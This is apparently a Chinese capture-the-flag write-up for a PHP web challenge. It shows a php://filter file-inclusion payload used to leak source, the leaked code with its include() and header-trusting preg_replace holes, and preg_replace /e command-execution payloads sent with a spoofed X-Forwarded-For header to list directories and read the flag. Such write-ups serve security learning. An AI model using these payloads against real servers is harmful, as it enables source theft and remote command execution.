打開題目,根據題目提示找到設備維護中心
點進去(其他點了都沒用),沒發現什麼有用的東西
點擊了雲平臺設備維護中心後,發現url後面多了點東西,頁面上也多了點東西,這裏就是突破口
隨便改一下page後面傳入的值,發現後面的東西會被打印在頁面上,嘗試php僞協議,構造payload如下
page=php://filter/read=convert.base64-encode/resource=index.php
成功讀取到base64數據
base64解密,下面是一些關鍵的 php源碼
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
發現它過濾了input,所以沒辦法直接使用php://input來執行php代碼,那麼此時最後面的代碼就顯得十分可疑,而後面唯一能存在問題的就是preg_replace,上網搜索preg_replace漏洞,借鑑文章http://blog.topsec.com.cn/audit-defanse-2/,發現觸發漏洞有兩個條件
1、正則表達式也就是第一個參數需要e標識符,有了它可以執行第二個參數的命令
2、第一個參數需要在第三個參數中的中有匹配,不然echo會返回第三個參數而不執行命令
於是自己構造payload
?pat=/0/e&rep=system('ls')&sub=0
同時抓包插入字段:
x-forwarded-for:127.0.0.1
得到當前目錄下的文件和目錄
發現s3chahahaDir比較可疑,於是繼續ls s3chahahaDir,但是這個system裏面不能寫空格,於是用+代替,最後的payload就是
?pat=/0/e&rep=system('ls+s3chahahaDir')&sub=0
同時抓包插入字段:
x-forwarded-for:127.0.0.1
得到這個目錄下的文件和目錄
重複一次上面的步驟,在flag目錄下發現flag.php文件,直接cat查看
?pat=/0/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=0
同時抓包插入字段:
x-forwarded-for:127.0.0.1
最後再說一下坑點,直接cat查看那個可疑的名字時是沒有回顯的(因爲是目錄),這裏可以用ls繼續查看(別心急),或者在最開始就用ls -l查看文件屬性,最前面是d就是目錄,是-就是文件,後面查看到flag也別心急,多用ls查看,因爲最後如果是文件的話,ls查看會顯示出它的相對路徑